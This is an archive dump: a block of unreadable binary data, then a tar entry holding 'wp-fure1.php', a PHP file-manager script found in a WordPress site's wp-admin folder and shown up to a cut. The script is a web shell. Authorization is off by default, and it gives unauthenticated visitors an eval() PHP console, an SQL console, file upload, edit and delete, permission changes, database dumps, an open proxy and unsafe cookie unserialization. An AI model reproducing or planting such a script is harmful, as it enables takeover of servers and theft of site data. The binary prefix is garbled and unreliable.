KIk|oƮT][h"4u70LfQ;h':=	_q~gZtzL|FMݾ-^:uD8hт~#Cabq<|{aaZTy-"ObQaȫ 'R( oǋU.HE035%.+P]%ü"ϳ:1,$eaUӰQSgx)d,arw.2{HlŋT/>x-26|Qok[b!6@%(T36R?Ji$&OUii EmDBa"TVG#\Q	t\GgY2|x77&>[Hh q[gHݒ?,5|g]UOܺGX,˼Dmniw^).]mG]/*{,I8+!!Cyr)Y5
]ߙ,@X("hi(kp&7YDg7!
^!
RZ`F;?q7[֜GJ:/غER kbgX91n[ň١o)Q|pjdQngQHH@gn8~mm*)s7|`fڷl.>/%in_,vRm~zN$[8OGp <ȴ2w)Lĸt
(bi^w4qwō7]%)46V*9ՖݘMּûJ&Һo>N?1v ύ :Bv	7ď.Y+^=8x]FA#W?c6g	s2	N ^C2l5NI;>DUY\i-߄eȅ]>2C*2YFA??^Z}1刃\zWO=0+;YB
dIRx|4g4|R'o}T?т;!
q^.H8}~2ƪ-:}eC*>$|fyt5C?yQ^|ezLpQ5ϱ#@GV#R8ϢWQ{!?k HFYv^b(,D&A{jf響5$#p<gcL>7.q|Qd:.'PrrU𐀥Skkk [Zjn [jaCqȺRb?. R jw\t|{+cT2FJ).&:v3p˨=#x%uƾSҳY3T?	cN&龐PHE}z6>JS*l,3S5Dmfq{a%uyP15:%OLi:2ׄꌇYF.	c,0M	
Ȁy4ٽ	b:BSO)<WNB!,FHyDHHqEe -i{+:0I}s04U/'m+X_z5m*p/x)|֜@`8[sA>D=		<Ibxqz_yZ'CF~/0&_6AEVEMxի2$%٫<<'*Z[V`_Z$Yhi2?7VvsHCr@)&dL<!YLmLMO0,T9eq\G\(+ً%<n91crt	Yƅy[ 2;7z"Y~A/`J+DڧC s]rD3ect13a2T˦zE>Qއjn bY#K DR<>[izRn*fgSgM LAe[dTs<T{=27ܧ3TI'4v*W琧;a66$/8j9:-+Ƙqz mg._#74YDZTY\ޡ~˛X!^RpA%ueǂ6Y}yfy)nYpT+| Zoj=0ΧoYoz4'0[P޾B:٠`jz|X;r29$\yoEaI#!_s&֡ UV9 MLIn0kYTO%^v#2nI	khoՍ2XDi Y%ygqNaHSq^VG@Ys\w{.n)xQm(q/uB?z#sLZ5C})2=,G .ǵalԁH&Xn=|Xǥ9MN0.H#t&cZ7v!?OLKbj@0DcuPpˠ9; G~4@^ogfC5&#SoF9eB7D$=3w |L@wR̀CL޺l=)4!OPChufL@` ! 0DH#A_E3(_7QZ~.IA#)'7B`ud"n厢B.6l;f&*   %j5T1藇:}R2:F_0n>cTGi@@ɵdJ	ۥC"؊jz	lCv.Jꍜt $n57Ty]=F$@@	$Ll6&䓕1j\-?]_E?FXUI| ?7xHde֗-A=B=N
Mw7zҏ,MCyF*	"iYµ
 B3ǵc"v(]_}ha̮JX)pE6讂p$>1%ۭu$.=\~bH&pGa8iSrU.~wl<k֜{aMKŷ[ G2D_$F[h4je<8fU#lPnT91t	[estxmR{w~> \ֱШ <ĝbA5`#irYmUb*}F\: n]qC&"bt̳L%n-9MV|"35Frkbš1xls͇B"tH3h>}:Ѽt0q-7erXp,`Y8bp,r)}x[KqQZ)?@2/etiUr8tG譑s՗q*hwҶ_o>|<J#CmyE?n_NB̊ L_ 9ӫ6bv,(WH$[I
 %quK³li)iV2Ma0Q1"_b-4T~]_	0΀+vد0jM^@"΃ӄaO4V"0
z#p|n#ĲJ*^EAѡC k{$.oQ)Uo:Pnn
-Ll@'/<|ׅcrO	8yR`nvpy3>9?n\Ph1*Xkc~q^D"N7?->A?$Yw,Qm87h'BCJwZG|AeH!]ϩih?ѫj4<OeL$x#k	lp qʎ)NHc:NlipWsY*>"f|$֞& /9bRxd`R鑚NT+VΏnMLQv:e
?*2uų2 T7㌹h^5(Pzt'$\p~qVb43yoݑFB3Gn8T1xh@&C,ha^rRgRYx1Md
@K([M0Y?G[RW}$XQ-6SEBF.4c8p/s}o:@S8NT8[ܺww#AĪ_Iӡuiۄ'ƈzẚʍK/t32:"eU|̸A ؇&pl!>'nT3](PGi%=>:>i;O_e+~dE	*I!OYyX`]F2[79w[/Vy%|>H$}z-e^	L,sUۘ QfeaOtJ%+}o74t}C=㏟FcOvfLe+(8yc:ٗظYI%A3'lv*X^vw`^qr%&GQsscc[d}aB,"=gyv*LXߠnfFa#B9uc=5b4\WN⹄<(ފ0:75>ۊO4؃BBm!mRARI&6ˊ	X&0ɨ6;mJ
D{asó5qY
F}NUrX	tm:ےiY;Q!1&a]ΐ1ɵ	%<\B/nq9},QOĦ3pjdG,Ycї	=a"CAq(gR#ӲeDpEp1#)|izx0weY1AHg״?xtg bphHBqP`kѰNL'M=B81l0́g
7t9}"-$8u:-',@c5|uuqul ?Gry8!waq~\#rdxϬ7켆2lǀevAT H윦Gɹc,.~rzEޚtោE]He 덑/ ^?oߘ5: pf lǪ)EV!wqa>p'
s%=5Ėea2P΍1lDMZξoI|`>˘[97?3-dGvnsyFth)aZ8JjO&MAo3;Aio,lL:/+*ڬxs3uZmkƯg19ή4Q̦1_߉ ;(]J fRb"^Q2R/p-RmkE?:O~#և='oܺiXs'Ii35¨x("aO1Dgh
WWsryqu=IY˦vP D-CzXF$Jț~}Y.>e=y .#FYz(I\X ,scarAzBi%zMe>
`u.-Ġ7:в)e흵XȎ0RL0=b++svad0#]u@`9I*W2v`f[9/r"N͉ѷlHz@[L)ףNUAmߩn;oT#ʛ/ݾͤ?f;`uT2eD Z\0hI+7g2ibaɡY;7s$HXv3>#yDOȀxc˨p&'yՅ"HK E4Uha0hPph4U-}y?~
ɲ
tQ:8ޙuHW!P/̃7}0в{X,%IQ	Cn=j4pY6x)Z#NP4?3!#F?UGG]A=xՎ=<ypejlC2$⨕ͭPC8lFӈZEx05H2
揜5J*
u8Rk+p/ BDS>XnKV|t+}+g6N$ؙlbr~srR~[NB~e=GPl+s˃lqs`}\<&XI5x{0M> C6Nc/zSP*?EW8wuwOL r`_?@q⤭1VP>fo:~u#,۶`T]0T80Ro$o!%8TwC6Wx~2ﳘ=¨ͣDj}}kO!pPe/GogѹBWvpɶN8N}ԭU)ms9,+1R7-=HVԫ$:`G5TQicX&a;@{%|JBO-S_a!] aXqy(wc#aj&Q?_kU 6 PK       ! { 6  6   wp-fure1.php.tarnu [        home/capoccitel/www/wp-admin/wp-fure1.php                                                           0000644                 00000227221 15242010522 0014320 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/fure/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
